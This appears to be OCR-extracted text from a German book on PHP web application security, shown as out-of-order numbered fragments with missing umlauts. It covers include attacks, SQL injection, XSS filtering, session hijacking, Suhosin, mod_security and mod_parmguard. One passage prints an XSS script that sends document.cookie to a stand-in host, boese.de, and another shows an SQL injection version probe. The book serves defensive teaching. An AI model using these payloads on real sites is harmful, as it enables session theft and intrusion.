amazing job PWNtcha results Upload successful Running PwNtcha pwntcha image size 320x50 256 colours pwntcha probably
71. de index php also auf entfernte Systeme m glich sind Diese k nnen in der php ini Konfigurationsdatei mit allow_url_include aktiviert bzw deaktiviert werden Das ist die eigent liche Gefahr bei Parametermanipulation Da include PHP Code nicht anzeigt sondern interpretiert kann mit einer Textdatei beliebi ger Code auf dem Zielserver ausgef hrt werden Es ist also von h chster Wichtigkeit Benutzereingaben aller Art sorgf ltig zu berpr fen bevor sie an include oder require weiter gereicht werden Es reicht hierbei nicht auf das Vorhandensein von Slashes Punkten oder anderen verd chtigen Zeichen zu pr fen In der Regel sollten Includes stets ausschlie lich in einer Whitelist enthalten include und require Unsichere Include Anweisung URL Wrapper 6o 3 Parametermanipulation Anh ngen der Dateiendung Include mit Pfadangabe Ein Angriff auf einen Include Befehl Folgen der URL Parametermanipulation addslashes Whitelist berpr fung f r die korrekten Dateinamen sein bevor sie tats chlich inkludiert werden Das l sst sich leicht durch ein Array mit allen momentan in der Site integrierten Seiten bewerk stelligen oder indem der Entwickler alle Seiten in einer Datenbank ablegt Wird eine ID f r jede Seite vergeben so kann anhand dieser auf die jeweilige Seite referenziert und eine Parametermanipulation ausge schlossen werden Allerdings besteht dann unter Umst nden die M g li
72. der PHP Interpreter keinen Fehler auf dem Bildschirm aus Aber auch alle Versionen nach 4 0 18 ergeben keine Fehlermeldung und deshalb m ssen die verschie denen MySQL Versionen von oben nach unten erraten werden Dies ist kein Fehler sondern eine gewollte Implementierung der MySQL Entwickler denn mithilfe dieser Funktionalit t ist es m glich versionsabh ngige SQL Statements zu schreiben SELECT name FROM users WHERE id 0 40100 OR SELECT id FROM tabelle2 Der Kommentar in diesem Statement wird nur bei MySQL Servern mit einer Versionsnummer h her 4 1 0 ausgef hrt sonst wird der Kom mentar ignoriert Das Erfragen der MySQL Versionsnummer ist eine SQL Injection Attacke Mit einem Angriff dieser Art k nnen Sie jedoch noch sehr viel umfangreichere Sch den anrichten daher haben wir dem Thema ein eigenes Kapitel gewidmet Wenn Sie eine Datenbank installiert haben legen wir Ihnen Kapitel 5 besonders ans Herz 2 6 Datei Altlasten Bei der Entwicklung von Webapplikationen werden h ufig tempor re Dateien angelegt sei es als Sicherheitskopie bevor der Entwickler einen neuen Programmieransatz ausprobiert aus administrativen Gr nden oder zu Testzwecken Diese Altlasten werden dann h ufig zusammen mit der Anwendung auf den produktiven Server kopiert und warten dort auf einen findigen Angreifer der die Dateien entdeckt Neben tempor ren Sicherheits oder Arbeitskopien der verwendeten PHP Skripte liegen auch Include oder
73. der Regel das Apache Log file Meldung ber Angriffsversuche erstattet 7 http www modsecurity org documentation modsecurity apache 2 5 2 modsecurity2 apache reference pdf Aus SecFilter mach SecRule 298 12 Webserver Filter f r Apache Numerischer Vergleich Neue Operatoren Eines der grundlegend neuen Leistungsmerkmale in mod_security 2 0 ist die Einf hrung sogenannter Operatoren f r Filter Dabei wird nicht mehr wie noch in mod_security 1 ausschlie lich der R ckga bewert eines regul ren Ausdrucks also entweder regul rer Ausdruck trifft zu oder regul rer Ausdruck trifft nicht zu verwendet um eine Filterregel auszuwerten sondern auch zus tzliche Funktionen k nnen verwendet werden So k nnen Sie festlegen dass eine Eingabe variable einfachen arithmetischen Ausdr cken gen gen muss damit ein Filter zutrifft etwa numerisch und gr er als 0 sein muss Weiter gehende Funktionen erlauben sogar IP Adressen gegen eine RBL Realtime Blacklist abzugleichen um den von Spammern genutzten Adressbl cken den Zutritt zu Ihrer Site zu verwehren Operatoren stehen in einer Regel anstelle des regul ren Ausdrucks ihnen wird stets ein vorangestellt Der einfachste Operator ist der Operator f r regul re Ausdr cke der de facto nichts anderes tut als eine SecRule ganz ohne Operatoren M chten Sie wie in Abschnitt 12 3 5 4 angegeben in mod_security 2 eine Regel schreiben die den Par
74. die Entfernung unerw nschten HTML Codes und aktiver Skriptinhalte erfahren Sie im Kapitel 4 Cross Site Scripting Sonderzeichen sollten Sie stets dann maskieren wenn Daten den Kontext wechseln z B wenn Sie Daten in eine Datenbank einf gen Von Kontextwechseln spricht man wenn Daten an Subsysteme weitergereicht werden beispielsweise vom PHP Interpreter an einen MySQL Server Weitere Subsysteme k nnen das Dateisystem der Hauptspeicher Shared Memory aber auch ein zus tzliches Pro gramm zum E Mail Versand z B sendmail sein Maskieren bedeutet enthaltene Sonderzeichen durch Voranstellen eines Backslashes f r Subsysteme zu entsch rfen Diese Sonderzei chen wie Anf hrungszeichen spielen bei anderen Angriffsarten wie zum Beispiel SQL Injection eine entscheidende Rolle Ein typisches Beispiel f r die Maskierung von Sonderzeichen stellt der Eigenname Chris O Connor dar der etwa als Benutzername f r ein Forum genutzt wird Nach der Maskierung von Sonderzeichen wird das Hochkomma durch einen vorangestellten Backslash ent sch rft Aus der Eingabe Chris 0 Connor wird so die f r SQL Subsys teme weniger gef hrliche Variante Chris 0 Connor Maskieren Sie stets gef hrliche Sonderzeichen bevor Sie Daten an ein Sub system wie z B eine Datenbank weitergeben Falls die PHP Konfigurationsoption magic_quotes_gpc aktiviert ist ist ein Maskieren von Anf hrungszeichen Backslashes und NULL Wer ten nicht m
75. diesen Parameter ist 500 Internal Server Error lt global name http_error_code value 403 gt St t mod_parmguard bei der Abarbeitung der http Abfrage auf eine URL die nicht in der Whitelist definiert ist f hrt es die Aktion durch die im Parameter undefined_url_action festgelegt wird Wird der Parameter in der XML Datei nicht festgelegt setzt mod_parmguard ihn auf reject log lehnt also die Anfrage ab und tr gt den Versto in der Log Datei ein lt global name undefined_url_action value reject log gt hnlich zum vorangegangenen Parameter k nnen Sie mittels des Parameters undefined_parm action festlegen was mod_parmguard mit nicht in der Whitelist enthaltenen Parametern anstellt Ohne gesonderte Festlegung wird auch hier der Parameter abgelehnt und der Versto mitgeloggt lt global name undefined_parm action value reject log gt Findet mod_parmguard einen Parameter der in der XML White list vorkommt dessen Wert aber nicht zu den in der Whitelist defi nierten Wertebereichen passt so f hrt das Modul die in dem Para meter illegal_parm action bestimmte Aktion aus in der Stan dardkonfiguration dieselbe wie bei den beiden vorigen Direktiven lt global name illegal_parm action value reject log gt Eine fertige globale Sektion f r eine mod_parmguard Installation die illegale und unbekannte Parameter mit dem HTTP Fehler 403 ablehnt unbekannte URLs aber zul sst sieht folgenderma en aus 12 4
76. ein Besucher einen Buchstabendreher in der Schreibweise hat z B tset php so wird er trotzdem zur Datei test php weitergeleitet Hat ein Besucher einen Buchstaben falsch geschrieben z B twst php so wird er ebenfalls zur Datei test php weitergeleitet Neben der Korrektur von Tippfehlern kann mod_speling auch bei nicht oder falsch angegebenen Dateiendungen behilflich sein Fine Kombi nation beider Korrekturm glichkeiten unterst tzt mod_spel ing nicht Abb 2 3 Ausgabe von mod_speling Eile Edit View Go Bookmarks Tools Help Multiple Choices Available documents index htm common basename amp gt ta x KA http www php sicherheit de index php z Go The document name you requested index php could not be found on this server However we found documents with names similar to the one you requested Um das mod_speling Modul zu deaktivieren erstellen Sie in einer htaccess Datei oder in der Konfigurationsdatei des Apache Servers bitte den folgenden Eintrag CheckSpelling Off 2 7 2 robots txt Viele Entwickler von Webseiten leben in der st ndigen Angst Roboter von Suchmaschinen k nnten Verzeichnisse oder Dateien ohne direkte Verlinkung entdecken und indizieren Deshalb wird im Hauptverzeich nis eine Datei namens robots txt angelegt in der Anweisungen f r den Suchroboter stehen Diese geben an welche Dateien und welche Ver zeichnisse der Suchroboter nicht indizieren darf 134 2
77. einem Angreifer nicht erratbare Werte wer den zur Laufzeit vor und hinter reservierte Speicherbereiche geschrie 1 Tobias Klein Buffer Overflows und Format String Schwachstellen dpunkt verlag 2003 ISBN 978 3 89864 192 0 248 11 PHP Hardening ben und bei jeder Manipulation der Speicherbereiche durch den Memory Manager berpr ft Wurden diese berschrieben so hat ein Overflow stattgefunden und das Programm bricht ab StackGuard ist ein Produkt das derartige Mechanismen in C Programmen implementiert um R cksprungadressen auf dem Pro gramm Stack zu sch tzen der Suhosin Patch tut dasselbe f r die Heap Verwaltung innerhalb der Zend Engine Wird der Canary ber schrieben und damit der virtuelle Kanarienvogel get tet so bemerkt das Suhosin gesch tzte PHP dieses Problem und bricht die Ausf hrung des Programms ab Dieses Verfahren kann jedoch nicht zum Schutz von den in der Zend Engine genutzten Hashtabellen und verketteten Listen genutzt werden ohne die Bin rkompatibilit t der Strukturen zu verletzen Da das dazu f hren w rde dass keine kommerziellen PHP Extensions mehr genutzt werden k nnten ein massives Kompatibilit tsproblem werden bei diesen nur die eingebetteten Zeiger auf die Destruktorfunk tion in eine Tabelle geschrieben Bei jedem Zugriff berpr ft der PHP Speichermanager ob der Zeiger wirklich in der Tabelle vorkommt Auf diese Weise wird verhindert dass durch einen Puffer berlauf der Destr
78. einen String mit BBCode in HTML wandelt require_once HTML BBCodeParser php parser new HTML_BBCodeParser parser gt setText zu_parsender_text parser gt parse output parser gt getParsed Das BBCode Parser Paket ersetzt nun alle g ltigen BBCode Tags durch die entsprechenden XHTML kompatiblen HTML Tags F r den String Dieser String ist b Jfett b und uJunterstrichen u und ilkursiv i w re die korrekte Ersetzung Dieser String ist lt strong gt fett lt strong gt und lt u gt unterstrichen lt u gt und lt em gt kursiv lt em gt Auch geschachtelte Tags werden unterst tzt URLs und Listen sind auch im Angebot des f r Foren und viele andere Anwendungen v llig ausreichenden Paketes Vorsicht Cross Site Request Forgery CSRF ist prinzipbedingt lei der bei allen bisherigen Implementierungen von BBCode m glich dazu sp ter mehr 4 12 2 HTML Filter mit XSS Blacklist Wir m chten Ihnen zus tzlich eine etwas andere Vorgehensweise ans Herz legen die in mehreren Schritten eine flexible aber dennoch wirk same Methode gegen XSS darstellt Zwar ist sie etwas aufwendiger als strip_tags oder hnliche Funktionen aber wenn Sie die in diesem Buch vorgestellten XSS Cleaner in eine Funktionsbibliothek einf gen k nnen Sie s mtliche Inhalte ebenso einfach filtern 2 http pear php net package HTMI_BBCodeParser 4 12 XSS verbieten HTML erlauben wie el Beim berfliegen des
79. empfiehlt es sich diese per Tilde von S_ALL auszunehmen 11 5 Konfiguration 265 Ein paar Beispiele sollen dieses Vorgehen verdeutlichen Die Direktive suhosin log syslog 511 amp 32 amp 4 bedeutet Logge alle Fehler au er SQL und Variablenverst en per Syslog Alle Datei Include und Rekursionsfehler werden durch die Kon figurationseinstellung suhosin log syslog S_FILES S_INCLUDE S_EXECUTOR ins Syslog geschrieben Verschiedenartige Fehler werden nicht ins Syslog bernommen alle anderen aber dortgeloggt wenn die Logging Direktive folgen derma en formuliert ist suhosin log syslog 511 amp S_MISC Die meisten Syslog Daemons kennen verschiedene sogenannte Facilities oder Kategorien anhand derer Nachrichten in unterschiedliche Dateien geschrieben oder auf der Konsole ausgegeben werden k nnen Mit der Direktive suhosin log syslog facility k nnen Sie die passende Facility ausw hlen ziehen Sie f r eine Liste der verf gbaren Optionen die Manpage Ihres Syslog Daemons zurate Typisch sind M glichkeiten wie LOG_USER LOG_DAEMON LOG_KERN LOG_AUTH und so weiter Eine vollst ndige Liste finden Sie auch in der Dokumentation der Konfigurationsoptionen auf der Suhosin Homepage Neben der Kategorie in die eine Log Nachricht f llt sollten Sie auch die Priorit t festlegen mit der jeder Alarm von Suhosin aufge nommen wird Da es sich in der Regel um sicherheitskritische Mittei lungen handeln w
80. f r die Funktion count an Der zweite Parameter mode gibt an ob das Array rekursiv ist also ob alle Dimensionen gez hlt werden sollen lt php if count arr COUNT_RECURSIVE gt 5 die Manipulation gt Stellen Sie in Ihrer Applikation fest dass Parameter manipuliert wur den ist ein Abbruch der Verarbeitung die einzig m gliche Folge Ein Versuch die Daten zu reparieren oder mit den restlichen Daten wei terzuarbeiten ist nicht nur leichtsinnig sondern auch sehr riskant 3 4 3 Inhalte pr fen Nach der Umwandlung in den entsprechenden Datentyp und der L ngenpr fung folgt die Inhaltspr fung Diese ist am schwierigsten durchzuf hren denn je nach intendiertem Datentyp und Art der Behandlung von HTML und Sonderzeichen ver ndert sich die Art und Weise der Inhaltspr fung 3 4 Variablen richtig pr fen l HTML Tags k nnen mit strip_tags entfernt werden Als optio nalen Parameter erwartet diese PHP Funktion ein Array von erlaubten HTML Tags So k nnen einige Tags z B zur Schriftenauszeichnung erlaubt werden Skript Tags k nnen gleichzeitig verboten werden lt php var lt b gt Dies ist fetter Text lt b gt Gibt Dies ist ein fetter Text aus echo strip_tags var var lt b gt Dies ist fetter Text lt b gt lt script gt alert test lt script gt Gibt lt b gt Dies ist ein fetter Text lt b gt alert test aus echo strip _tags var lt b gt 2 gt Mehr ber
81. g ltige Sessions von Mailportalen Foren oder hnlichen Anwendungen Viele Webdienste bieten daher extra f r solche ffentlichen Terminals die nicht nur f r eine geringe Personenzahl zug nglich sind einen Login mit ver k rzter Session Dauer und ohne Cookies an Das Session Cookie kann auch mittels JavaScript gestohlen wer den das ber einen Cross Site Scripting Angriff auf die Seite einge schleust wird Mehr ber Cross Site Scripting erfahren Sie im gleichna migen Kapitel 4 hier m chten wir Ihnen nur kurz vorstellen wie ein Angreifer die Session per JavaScript stehlen kann Besonders praktisch f r den Angreifer ist dass JavaScript ihm die bermittlung der meisten Cookies an einen fremden Server erlaubt Hierzu muss er einem privilegierten Benutzer z B per Mail einen ent sprechend pr parierten Link unterschieben den dieser dann anklickt Solcher Skriptcode kann z B wie folgt aussehen lt script gt top load http www boese de cookie document cookie lt script gt Die Servervariable _SERVER HTTP_REFERER enth lt die komplette URL mit Query String und zwar die URL der vorherigen Seite Wird eine Session ID per URL bertragen haben alle anderen nachfolgenden Seiten diese Session ID zur Verf gung 7 7 Session Hijacking Ein Beispiel verdeutlicht den Ablauf dieses Angriffs 1 Der User loggt sich in einer Webanwendung ein etwa einem Fo rum 2 Die Session ID 123456trewg wird an die
82. id false die Ungueltige Session ID Pfad zusammenbauen sess_file sess_save_path sess_ id Einstellungen in der php ini f r die Session Speicherung Eigenes Session Speichermodell entwickeln 176 7 Sessions Wenn das File existiert dann auslesen und Daten zur ckgeben if fp fopen sess_file r Daten komplett auslesen sess_data fread fp filesize sess_file return sess_data else Ansonsten MUSS ein Leerstring zur ckgegeben werden da TRUE und FALSE g ltige Inhalte sein k nnen return Hier muss zur ckgegeben werden Funktion zum Schreiben function write id sess_data Globale Variablen global sess_save_path sess_session_name if preg_match a zA Z0 9 id false die Ungueltige Session ID Pfad zusammenbauen sess_file sess_save_path sess_ id Datei zum Schreiben ffnen if fp fopen sess_file w Daten komplett reinschreiben return fwrite fp sess_data else return false Wird am Ende des Skriptes oder bei session_destroy aufgerufen function destroy id global sess_save_path sess_session_name Pfad zusammenbauen sess_file sess_save_path sess_ id Datei l schen return unlink sess_file Speicherbereinigung function gc maxlifetime return true session _set_save_handler open close read wr
83. identifiziert den Benutzer und die Zufallszahl identifiziert jede ein zelne Seite 7 9 Zus tzliche Abwehrmethoden 183 Diese Zufallszahl wird in der Session gespeichert und an die URL angeh ngt Nach der Anforderung einer weiteren Seite wird die Zufallszahl aus dem Zahlenpool gel scht und eine neue ausgelesen Diese Zahl wird dann auch wieder in die Session geschrieben Diese Zufallszahl muss nat rlich an alle Links auf der Seite angeh ngt wer den Eine Session kann dann nur so lange bernommen werden wie der Benutzer auf einer Seite verweilt Im Falle dass die Zufallszahl in der URL fehlt muss die Session ung ltig gemacht werden ebenso wenn die Zufallszahl nicht mehr im Zahlenpool enthalten ist Hier sehen Sie eine vereinfachte Ablaufbeschreibung 1 Der Benutzer fordert Seite index php an 2 Der Server erstellt eine Session ID abcdefg und erzeugt einen Pool an Zufallszahlen falls dieser noch nicht existiert Dieser wird unter dem Namen der Session gespeichert 3 Aus diesem Pool von Zufallszahlen wird die Zahl 10 genommen 4 Die Zahl 10 wird in der Session gespeichert 5 Alle Links auf der Seite index php werden um ein token 10 er weitert 6 Der Benutzer fordert nun die Seite index2 php token 10 an 7 Auf dem Server wird berpr ft ob der URL Parameter token einen Wert enth lt und mit dem in der Session gespeicherten Wert bereinstimmt 8 Ist das der Fall wird die Zufallszahl 10 aus d
84. in der Praxis im Quellcode der Website eines gro en Privatsenders tats chlich begegnet Auch CVS Kommentare k nnen Aufschluss ber Usernamen und Pfade geben Denn h ufig ist der User f r eine Administrationsoberfl che auch der CVS User Au erdem gibt ein CVS Header Auskunft ber die verwendete Version einer Software Author apaxxS Revision 1 8 0 Date 2005 07 05 09 35 00 Entfernen Sie Kommentare die Usernamen oder Pfadangaben enthalten aus dem HTML Quellcode 2 9 Applikationen erkennen Es gibt bestimmte Merkmale an denen Applikationen wie Content Management Systeme Foren oder G steb cher erkannt werden k n nen Anhand dieser Informationen kann im Internet nach Sicherheits l chern und dem dazugeh rigen Exploit Code gesucht werden Fol gende Merkmale geben Aufschluss ber die installierten Applikationen Das Aussehen bzw der Aufbau einiger Applikationen bleibt immer gleich und ist ohne gr eren Aufwand nicht ver nderbar In vielen Applikationen sind Pfade oder Dateinamen hart codiert und bleiben bei einer Standardinstallation gleich Analog zu PHPs X Powered By Header verschicken Applikationen eigene Header Um die Lesbarkeit f r den HTML Quellcode zu erh hen werden HTML Kommentare in den Quelltext eingef gt Diese Merkmale k nnen f r Angreifer eine Hilfe sein um die Applika tion die auf dem Webserver installiert ist zu erkennen In den folgen den Abschnitten werden diese M
85. ist diese Art von Angriffen weitgehend unbekannt aber um auch die theoretische M glichkeit auszuschlie en k nnen Sie nur auf eine bestimmte Art benannte Umgebungsvariablen zum Schreiben zulassen Die entsprechende Konfigurationsdirektive auch pro Virtu alHost Block nderbar lautet safe_mode_allowed_env_vars erwar tet wird hier eine kommaseparierte Liste von Pr fixen die nderbaren Variablen voranstehen Ein gutes Beispiel liefert die in jedem PHP Quellarchiv mitgelie ferte und installierte php ini sie schl gt vor dass im Safe Mode nur mit PHP_ beginnende Umgebungsvariablen nderbar sein sollten Das k nnen Sie durchaus so beibehalten Die Konfigurationsdirektive sieht somit folgenderma en aus safe mode allowed_env_vars PHP_ Der Parameter safe mode_protected_env_vars dient als zus tzlicher Sicherungshaken der im Grunde nur nachl ssige Administratoren betrifft Diese Direktive beschreibt Variablen die nie ge ndert werden k nnen selbst wenn der vorangehende safe mode _allowed_env_vars vom Systemverwalter leer gelassen wurde und damit alle Umgebungs variablen schreibend manipuliert werden k nnen Um sicherzugehen bergeben Sie dieser Option zwei Werte und zwar LD_LIBRARY_PATH und LD PRELOAD safe_mode_protected_env_vars LD_LIBRARY_PATH LD_PRELOAD 10 7 5 Safe Mode considered harmful Wenige PHP Features sind gleichzeitig so popul r und unpopul r wie der sogenannte Safe Mode
86. k nnen es aber in Ihren eigenen Umsetzungen beliebig anpassen In einem Skript namens challenge php k nnen Sie dann anhand der eindeutigen Challenge ID die zugeh rige Benutzer ID und ber diese die Benutzerdaten ermitteln Ein kurzes HTML Formular erlaubt dem Benutzer dann sein Passwort zu ndern Hat er ein neues Passwort eingegeben wird im n chsten Schritt dieses Passwort in der Benutzerdatenbank gesetzt und die Challenge ung ltig gemacht indem die Spalte valid auf 0 gesetzt wird Nach der erfolgten nderung muss die Challenge ID ung ltig gemacht werden damit das Passwort nicht zweimal ge ndert werden kann Jede erneute nderung bedarf eines neuen Challenge Codes Zus tzlich wird f r jede neue Challenge ein Timestamp in die Datenbank eingef gt und bei Benutzung berpr ft Sollte ein Chal lenge Code lter als 24 Stunden sein wird er nicht mehr als g ltig betrachtet lt php if isset _GET challenge challenge change password form elseif _POST action changepw challenge _invalidate_save_password else die Option nicht bekannt function challenge change password form dbh mysql_connect localhost benutzer passwort mysql_select_db datenbank dbh get_challenge userdata SELECT user id user username challenge valid challenge challenge FROM challenge user WHERE challenge mysql real escape string GET challenge and user id challenge u
87. m ssen Sie dem Management vermitteln Entwickeln Sie ein Softwareprodukt das sp ter von Ihrer Firma verkauft oder lizenziert werden soll ist Sicherheit ein wichtiges Produktmerkmal das die Verk ufe u erst positiv beeinflussen kann Setzen Sie webbasierte Anwendungen f r das eigene Unternehmen ein k nnen Sie Datensicherheit nur dann gew hrleisten wenn die Anwendung gegen Diebstahl von Sessions SQL Injection und XSS abgeschottet ist Der Verlust von Kundendaten kann ernste juristische Konsequen zen nach sich ziehen und zum Ruin Ihres Unternehmens f hren So musste das amerikanische Unternehmen CardSystems im Juni 2005 zugeben dass die Kreditkartendaten von ber 40 Millionen Kunden durch Hacker gestohlen worden waren Die Firma f hrte als soge nannter Third Party Processor Kreditkartentransaktionen im Auf trag von H ndlern durch und leitete diese an die Kreditkartenunter nehmen weiter Da der Diebstahl durch eine Sicherheitsl cke im Netzwerk des Unternehmens und fahrl ssiges Verhalten einiger Mitarbeiter m glich wurde k ndigten daraufhin einige Kreditkartenfirmen ihre Vertr ge mit CardSystems und entzogen der Firma dadurch die Grundlage ihrer Dienstleistungen Bei webbasierten Anwendungen ist ein Beispiel f r den durch Sicherheitsl cken entstehenden Vertrauensverlust das Portalsystem phpNuke Obgleich die Idee und der Funktionsumfang von phpNuke prinzipiell sehr n tzlich sind hat die Menge an konzeptbedingten Sic
88. mod_parmguard 305 lt global name http_error_code value 403 gt lt global name undefined_url_action value accept log gt lt global name undefined_parm action value reject log gt lt global name illegal_parm action value reject log gt Im Hauptteil der XML Konfigurationsdatei werden pro URL und Parameter die Constraints also die zugelassenen Wertebereiche festgelegt Dazu werden in ein lt url gt lt url gt Tag alle Constraints einge f gt nachdem mittels des Tags lt match gt lt match gt ein regul rer Ausdruck f r die URL angegeben wurde Dieser regul re Ausdruck ist stets rela tiv zu dem Location Block in der Webserver Konfiguration in dessen Kontext er seine berpr fungen durchf hrt Haben Sie also mittels lt Location sicheresverzeichnis gt das Unterverzeichnis sicheresver zeichnis Ihres virtuellen Hosts ausgew hlt und dort wie im vorigen Abschnitt angegeben die ParmguardEngine aktiviert so k nnen Sie die Datei sicheresverzeichnis dateiname php sch tzen indem Sie fol genden Block in der XML Datei von mod_parmguard einf gen lt url gt lt match gt dateiname php lt match gt Constraints hier lt url gt F r jede Datei die es zu sch tzen gilt ben tigen Sie also einen URL Block Dieser Block enth lt nach dem lt match gt Tag f r jeden Parameter einen XML Block der die f r diesen Parameter g ltigen Constraints definiert Dieser Block wird umrahmt vom XML
89. ndert werden Auch mit einem Proxy wie in Kapitel 3 beschrieben der zwischen Client und Server geschaltet wird kann der Inhalt dieser Variablen ge ndert werden Von der Statistiksoftware wird dann diese ver nderte Variable meist ungepr ft in eine Daten Aufbau eines Cookies bernahme eines Cookie Werts in ein SQL Statement Verwendung des Cast Operators _SERVER HTTP_USER _ AGENT 128 5 SQL Injection Ablauf eines Angriffs bank geschrieben Um so einen Angriff im Detail zu sehen kann man sich folgenden Ablauf vorstellen 1 Ein Besucher betritt die Seite http www php sicherheit de 2 Die Webseite bzw deren Betreiber m chte zu Statistikzwecken die IP Adresse den User Agent und den Referrer speichern Die Variablen die diese Inhalte zur Verf gung stellen sind SERVER REMOTE_ADDR _SERVERL HTTP_USER_AGENT _SERVER L HTTP_REFERER Der Besucher hat die Variable _SERVER HTTP_USER AGENT mit hilfe eines Proxies oder eines Browser Plugins ver ndert Die Statistiksoftware pr ft nun die SQL Tabelle Browser ob schon ein Eintrag mit diesem User Agent vorhanden ist Falls dies nicht der Fall ist wird ein neuer Datensatz f r diesen User Agent eingef gt Falls doch schon ein Satz daf r vorhanden ist wird der Z hler in diesem Satz um 1 erh ht Das Gleiche passiert mit der IP Adresse und dem Referrer Folgenden PHP Code zur berpr fung kann man sich hierf r vorstellen berpr fen
90. nicht zu ver wechseln mit dem deutschen Bundesamt f r Sicherheit in der Informa tionstechnik der Standard 7799 ins Leben gerufen In diesem Dokument werden ausf hrlich Best Practices also als vorbildlich anerkannte Abl ufe f r die Sicherheit in Informationssystemen aufge f hrt Neben Aspekten wie der physischen Zugangssicherung enth lt das Standardwerk das mittlerweile als internationaler Standard ISO 17799 aufgelegt wurde auch f r Webanwendungen wichtige Punkte Die ISO unterteilt Sicherheit in Informationssystemen in drei Fak toren die in einem sicheren System stets erf llt sein sollten Vertraulichkeit also die Sicherheit dass Information nur dem zug nglich ist der ber die notwendige Autorisierung verf gt Integrit t Informationen und informationsverarbeitende Vor g nge m ssen stets akkurat und vollst ndig sein Die st ndige Verf gbarkeit aller Informationssysteme f r berech tigte Benutzer ist der dritte wichtige Faktor Der Standard schreibt vor dass alle Mechanismen die zur Wahrung dieser Faktoren etabliert werden regelm ig kontrolliert werden sol len um auch auf neue Anforderungen reagieren zu k nnen Das wer den die meisten Administratoren von Webservern intuitiv beherzigen ist doch die Kontrolle auf neue Software Updates nichts anderes als das was der Standard fordert Auch auf die Absicherung bei third party access also dem Zugriff Dritter auf die eigene Infrastruktur legt ISO
91. noch Hand an den Quellcode von mod_suphp legen um einen Bug in der aktuel len Version zu beheben Dieser Fehler sorgt daf r dass die Konfigura tion unn tig verkompliziert wird ihn zu beheben geht schnell und vereinfacht die Einrichtung ffnen Sie die Datei src apache mod_suphp c mit einem Texteditor und ndern Sie in den Zeilen 252 bis 254 folgenden Text suPHP_AddHandler suphp_handle_cmd_add_handler NULL ACCESS_CONF ITERATE Tells mod_suphp to handle these MIME types suphp_RemoveHandler suphp_handle_cmd_remove_handler NULL ACCESS_CONF an zwei Stellen sodass folgender Text entsteht suPHP_AddHandler suphp_handle_cmd_add_handler NULL RSRC_CONF ACCESS_CONF ITERATE Tells mod_suphp to handle these MIME types suphp_RemoveHandler suphp_handle_cmd_remove_handler NULL RSRC_CONF ACCESS_CONF Damit erreichen Sie dass die wichtigen Direktiven suphp_AddHandler und suphp_RemoveHandler nicht nur in lt Location gt und lt Directory gt Bl cken sondern berall in der Serverkonfiguration stehen k nnen 10 10 Externe Ans tze 233 Nach dieser Anpassung k nnen Sie zur ck ins urspr ngliche Quellverzeichnis von suPHP wechseln das Programm und das Modul mit make kompilieren und mit make install installieren Als N chstes konfigurieren Sie das grunds tzliche Verhalten von suPHP mittels seiner eigenen Konfigurationsdatei In unserem Beispiel wurde der Pfad etc httpd f r Konfig
92. r wichtige Anregungen zu meiner Arbeit Besonders danken m chte ich an dieser Stelle Hen ning Behme von der iX der mir den Ansto gab ber PHP zu schrei ben Stefan Esser Ich bedanke mich vor allem bei meiner Freundin Nam Hee die mich in allen Lebenslagen unterst tzt und zu mir steht Ich danke auch mei ner Familie ohne die ich niemals so weit gekommen w re Danke Die Autoren bedanken sich gemeinsam bei Peter Prochaska f r die wertvollen Beitr ge zu diesem Buch bei Rene Sch nfeldt f r die mitt lerweile dritte Auflage einer hervorragenden Zusammenarbeit und allen ihren Lesern f r das Interesse und entgegengebrachte Vertrauen vii Inhaltsverzeichnis 1 Einleitung 1 1 1 ber dieses Buch 2er 1 1 2 Wasist Sicherheit sorcerers edrr erneri ia sheet 4 1 3 Wichtige Begriffe snsnenesesernererererue 5 1 4 Sicherheitskonzepte 2 222 ceoeeeeeeeeeeeeenenen 7 1 5 180 17799 2 ara ae onen 9 1 6 Wie verkaufe ich Sicherheit 222222 ceeeeeee 10 1 7 Wichtige Informationsquellen 222c2ccecee 12 1 7 1 Mailinglisten 222 2220 cceeeeeeeeeeenn 12 1 7 2 Faull Disclosure 2222220ceeer ee 13 1443 Bug lrag en a 14 1 7 4 WebAppSec 22 2222 eseeeeeeeeneener en 15 1 8 OWASP u vera Ban len 15 1 9 PHP Sicherh it de u 2 da irasai a raias 16 2 Informationsgewinnung 17 2 1 Grundlagen 22 222 csueeseeeeneeeeeneeneenenn 17 2 2 Webserver erkennen 22 22ceeeeeeeeeeeenee en 18 22
93. sehr attraktiv einge stuft haben werden sie sich so lange an den frei zug nglichen Teilen verbei en bis sie einen Zugang finden Mit einer Kundendatenbank voller Kontoinformationen k nnen sie schlie lich wesentlich mehr anfangen als mit den Bildern einer erfolgreichen Goldfischzucht 1 3 _ Wichtige Begriffe Um in den folgenden Kapiteln nicht stets neue Erkl rungen finden zu m ssen m chten wir einige wichtige Begriffe aus dem Sicherheitsjar gon vorab erkl ren Defense in Depth Werden Sicherheitskonzepte angesprochen taucht das Schlagwort Defense in Depth immer fter auf um ein m glichst schlagkr ftiges Sicherheitsprinzip zu beschreiben Und tats chlich ist das Prinzip der Tiefenverteidigung wie eine deutsche bersetzung des Begriffes lau ten k nnte bei konsequenter Umsetzung sehr wirksam Der von Defense in Depth verfolgte Ansatz geht von einer zwiebelschalenf rmigen Sicherung aus bei der eine Anwendung durch Sicherheitsma nahmen auf mehreren Ebenen gesch tzt ist Diese Sicherung beginnt bereits auf der Netzwerkebene Firewalls trennen die Webinfrastruktur vom internen Netzwerk oder VPN des Betreibers und Paketfilter sorgen daf r dass nur diejenigen Benutzer Zugriff auf sensible Bereiche haben die auch administrativ daf r zuge lassen sind Auf Betriebssystemebene setzt die zweite Verteidigungslinie gegen Cracker und sonstige Finsterlinge an Ein geh rteter Linux Kernel wehrt selbstt tig Angriffe g
94. und Sicherungsdateien m ssen von produktiven Syste men gel scht werden Erst vor kurzer Zeit wurden auf dem Server eines vermeintlichen Sicherheitsexperten Kundendaten entdeckt die Kreditkarteninformationen und Adressdaten enthielten Diese Dateien waren ffentlich zug nglich in einem Backup Verzeichnis abgelegt Sie sehen dass es ohne die M glichkeit diese Informationsgewin nungsmethoden anzuwenden einem Angreifer oder einer Penetrati onssoftware schwerfallen wird eine Schwachstelle in einer Applika 2 12 Fazit al tion oder auf einem Server zu finden Ein Webserver Administrator sollte in regelm igen Abst nden die Homepage des Herstellers seiner installierten Softwarekomponenten besuchen um zu sehen ob nicht vielleicht ein Security Update oder Patch vorhanden ist Diese Updates sollten dann zeitnah eingespielt werden Viele Betriebssysteme bieten einen Automatismus der Sie an Updates f r die installierte Soft ware erinnert Diesen muss ein gewissenhafter Administrator oder Entwickler unbedingt nutzen sl 3 Parametermanipulation Fast alle Angriffe erfolgen ber eine Art von Parametermani pulation also die Ver nderung von Parametern die an die 